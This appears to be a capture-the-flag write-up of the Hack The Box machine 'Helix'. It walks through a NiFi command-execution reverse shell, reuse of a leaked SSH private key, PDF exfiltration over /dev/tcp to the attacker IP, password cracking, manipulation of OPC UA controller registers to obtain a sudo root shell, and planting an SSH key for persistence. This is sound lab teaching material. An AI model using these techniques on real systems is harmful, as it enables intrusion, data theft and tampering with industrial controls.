CyberSaif
← All write-ups
Hack the Box / Medium

HTB: Helix

Helix is a medium-level ICS-focused machine with Apache NiFi running as an external service and OPC UA as an internal service.

Enumeration

Nmap

Starting with Nmap, the results show that only ports 80 and 22 are open.

┌──(root㉿kali)-[~/HTB-BOX/Helix]─(tun0:10.10.14.2)─[16:06]
└─# nmap -sV helix.htb
Starting Nmap 7.99 ( <https://nmap.org> ) at 2026-08-13 16:06 -0700
Nmap scan report for helix.htb (10.129.86.44)
Host is up (0.086s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 14.63 seconds

VHOST

A Gobuster scan reveals a vhost named flow running on the server.

┌──(root㉿kali)-[~/HTB-BOX/Helix]─(tun0:10.10.14.2)─[16:06]
└─# gobuster vhost -u <http://helix.htb> -w /usr/share/seclists/Discovery/DNS/combined_subdomains.txt --append-domain -t 250 --timeout 25s   
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                       <http://helix.htb>
[+] Method:                    GET
[+] Threads:                   250
[+] Wordlist:                  /usr/share/seclists/Discovery/DNS/combined_subdomains.txt
[+] User Agent:                gobuster/3.8.2
[+] Timeout:                   25s
[+] Append Domain:             true
[+] Exclude Hostname Length:   false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
flow.helix.htb Status: 200 [Size: 1068]

After adding flow.felix.htb to my /etc/hosts file and loading it in a browser, it redirected me to /nifi, which revealed that the server is running Apache NiFi.

Foothold

NiFi

Apache NiFi is an open-source data orchestration platform that is used to automate and manage the flow of data between systems using a drag-and-drop visual interface composed of configurable functional blocks. The function blocks can do various tasks such as reading files, performing queries to retrieve values, or executing commands.

There is a high-severity RCE vulnerability, CVE-2023-34468, in NiFi versions 0.0.2 to 1.21.0. The flaw exists within the DBCPConnectionPool and HikariCPConnectionPool Controller Services. Because NiFi fails to properly validate user-supplied JDBC database URLs, an authenticated attacker can inject a malicious connection string utilizing the H2 database driver. The embedded H2 engine interprets these parameters during initialization, allowing the execution of arbitrary code with JVM permissions.

However, attempting to exploit that vulnerability, I decided to take a look around and play with the processor blocks. One of the processors that stood out was ExecuteProcessor. On the properties tab, I noticed that we can configure commands and arguments for the ExecuteProcessor.
These commands will be processed on the target server. Therefore, I decided to test its functionality by inserting the following commands for a reverse shell.

NiFi1.1

It needs an output for the processor to run. Therefore, I connected an output block to complete the flow.

NiFi2

On the attacking machine, I started a listener and got a shell upon running that flow. We landed on the Helix as nifi.

┌──(root㉿kali)-[~/HTB-BOX/Helix]─(tun0:10.10.14.2)─[16:31]
└─# nc -lvnp 1212
listening on [any] 1212 ...
connect to [10.10.14.2] from (UNKNOWN) [10.129.86.44] 43502
bash: cannot set terminal process group (979): Inappropriate ioctl for device
bash: no job control in this shell
nifi@helix:/opt/nifi-1.21.0$ 

User Access

After checking folders and files in the /nifi-1.21.0 directory, I found that the folder support-bundles has an SSH key for an operator.

nifi@helix:/opt/nifi-1.21.0/support-bundles$ ls -la
ls -la
total 12
drwxr-x---  2 nifi nifi 4096 May  5 10:18 .
drwxrwxr-x 16 nifi nifi 4096 May  5 10:18 ..
-rw-r-----  1 nifi nifi  411 Jan 25  2026 operator_id_ed25519.bak
nifi@helix:/opt/nifi-1.21.0/support-bundles$ 
nifi@helix:/opt/nifi-1.21.0/support-bundles$ cat operator_id_ed25519.bak
cat operator_id_ed25519.bak
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDouEevtXQL5puMEPQzMGEo/LSrbETsWVDH8B41VHNbOwAAAJhCUmdYQlJn
WAAAAAtzc2gtZWQyNTUxOQAAACDouEevtXQL5puMEPQzMGEo/LSrbETsWVDH8B41VHNbOw
AAAEBWd4qZPQ48ePEdHec/Fquwu8Apm+TkeJJTwODupeRtwui4R6+1dAvmm4wQ9DMwYSj8
tKtsROxZUMfwHjVUc1s7AAAAD3Jvb3RAbWFuYWdlbWVudAECAwQFBg==
-----END OPENSSH PRIVATE KEY-----
nifi@helix:/opt/nifi-1.21.0/support-bundles$ 

The /etc/passwd file shows that the user Operator has SSH login enabled. Therefore, we can use this private SSH key to log in as the Operator user on the machine.

nifi@helix:/opt/nifi-1.21.0/support-bundles$ cat /etc/passwd | grep "/bin/bash"
cat /etc/passwd | grep "/bin/bash"
root:x:0:0:root:/root:/bin/bash
operator:x:1001:1001::/home/operator:/bin/bash
nifi@helix:/opt/nifi-1.21.0/support-bundles$ 

Make sure to assign the right permissions to the key file.

User Flag

┌──(root㉿kali)-[~/HTB-BOX/ssh_keys]─(tun0:10.10.14.2)─[17:00]
└─# ssh -i operator.key operator@helix.htb
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-164-generic x86_64)

 * Documentation:  <https://help.ubuntu.com>
 * Management:     <https://landscape.canonical.com>
 * Support:        <https://ubuntu.com/pro>
-------
operator@helix:~$ ls
'control systems diagram.png'  'Operator Control & Safety Guide.pdf'   user.txt
operator@helix:~$ 

Privilege Escalation

There is a PDF file in the user directory, we can download it to our machine to see what it is.

┌──(root㉿kali)-[~/HTB-BOX/Helix]─(tun0:10.10.14.2)─[17:03]
└─# nc -lvnp 1212 > Operator.pdf
listening on [any] 1212 ...
connect to [10.10.14.2] from (UNKNOWN) [10.129.86.44] 57990
operator@helix:~$ ls
'control systems diagram.png'  'Operator Control & Safety Guide.pdf'   user.txt
operator@helix:~$ cat 'Operator Control & Safety Guide.pdf' > /dev/tcp/10.10.14.2/1212

The PDF file is password protected. We can use John the Ripper to crack the password.

┌──(root㉿kali)-[~/HTB-BOX/Helix]─(tun0:10.10.14.2)─[17:05]
└─# pdf2john Operator.pdf > pdf_hash

While John the Ripper cracks the password, we can take a look at the control system diagram. It shows that there is an OPC UA server that we can communicate with on port 4840.

OPC

OPC UA allow devices from two different vendors to communicate with each other, for example, a Siemens HMI with an Allen-Bradley controller. In this scenario, we can use an OPC client to connect to the server to make changes to the targeted controller.

Now that we have the cracked password, operator1, we can see what is inside the PDF file.

┌──(root㉿kali)-[~/HTB-BOX/Helix]─(tun0:10.10.14.2)─[17:06]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt pdf_hash                        
Using default input encoding: UTF-8
Loaded 1 password hash (PDF [MD5 SHA2 RC4/AES 32/64])
Cost 1 (revision) is 6 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
operator1        (Operator.pdf)     
1g 0:00:02:15 DONE (2026-08-13 17:10) 0.007407g/s 1956p/s 1956c/s 1956C/s orphee..olivetree
Use the "--show --format=PDF" options to display all of the cracked passwords reliably
Session completed.

So far, I don’t have any hint about what can help me elevate privileges.

After checking the result of sudo -l, I learned that I can execute the following file as root.

operator@helix:~$ sudo -l
Matching Defaults entries for operator on helix:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User operator may run the following commands on helix:
    (root) NOPASSWD: /usr/local/sbin/helix-maint-console

Reviewing the content of the helix-maint-console tells us that running this script during an open maintenance window would give us an interactive root shell.

operator@helix:~$ cat /usr/local/sbin/helix-maint-console
#!/bin/bash
set -euo pipefail

FLAG="/opt/helix/state/maintenance_window"

read_until() { cat "$FLAG" 2>/dev/null || true; }

window_ok() {
  [ -f "$FLAG" ] || return 1
  local until_ts now
  until_ts="$(read_until)"
  now="$(date +%s)"
  [[ "$until_ts" =~ ^[0-9]+$ ]] || return 1
  [ "$now" -lt "$until_ts" ] || return 1
  return 0
}

if ! window_ok; then
  echo "Maintenance window CLOSED."
  exit 1
fi

until_ts="$(read_until)"
now="$(date +%s)"
remaining=$((until_ts-now))

echo "[+] Privileged maintenance access granted"
echo "[!] Window expires in ${remaining} seconds"
echo "[!] Session will be terminated automatically"

# Unique scope name
SCOPE="helix-maint-$$"

# Launch an interactive root shell attached to THIS TTY, in its own systemd scope
systemd-run --quiet --scope --unit="$SCOPE" --property=KillMode=control-group --property=SendSIGHUP=yes \
  /bin/bash -p -i

# If systemd-run returns, the shell exited.
exit 0

We can not directly modify the /opt/helix/state/maintenance_window file because we don’t have permission. However, the PDF file that we read earlier has a section about maintenance mode and how the window can be opened.

Report

To interact with the PLC, we need to communicate with it via the OPC server, therefore, we need an OPC UA client. I downloaded the https://github.com/freeopcua/opcua-client-gui client to interact with the OPC server.

Note: Make sure to forward port 4840 before attempting to connect. Also forward port 8081; it is an HMI. HMI allow us to see changes that are made to the controller or plant and also enables us to commit changes to the controller (but not in this case; we can only see the changes).

Use the operator as the username and the password operator1 to authenticate.

opc_client

After authenticating with the server, we now have all the objects we can modify/read. As directed in the PDF, we can now modify those specific register to trigger the Maintenance Mode and open the Maintenance Window.

opc_client2

We need to make following changes:

ModeMAINTENANCE
TestOverrideTrue
CalibrationOffset15

After making those changes, the HMI will tell us when the window opens and for how long it will be open.

HMI

Root Flag

Since the window is open now, we can run the script to get the root shell.

operator@helix:~$ sudo /usr/local/sbin/helix-maint-console
[+] Privileged maintenance access granted
[!] Window expires in 113 seconds
[!] Session will be terminated automatically
root@helix:/home/operator# 

We have enough time to read the flag before the window closes. However, if you need more time and want to maintain a stable connection, you can add your SSH public key to the authorized_keys file in the /root/.ssh/ directory.

root@helix:/home/operator# cd ~/.ssh/
root@helix:~/.ssh# echo "your ssh key" >> authorized_keys
┌──(root㉿kali)-[~/HTB-BOX/ssh_keys]─(tun0:10.10.14.2)─[17:24]
└─# ssh -i htb_shell root@helix.htb                    
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-164-generic x86_64)
------
root@helix:~# 
root@helix:~# ls
root.txt  snap

References

https://www.sonicwall.com/blog/apache-nifi-code-injection-cve-2023-34468-

https://www.sentinelone.com/vulnerability-database/cve-2023-34468/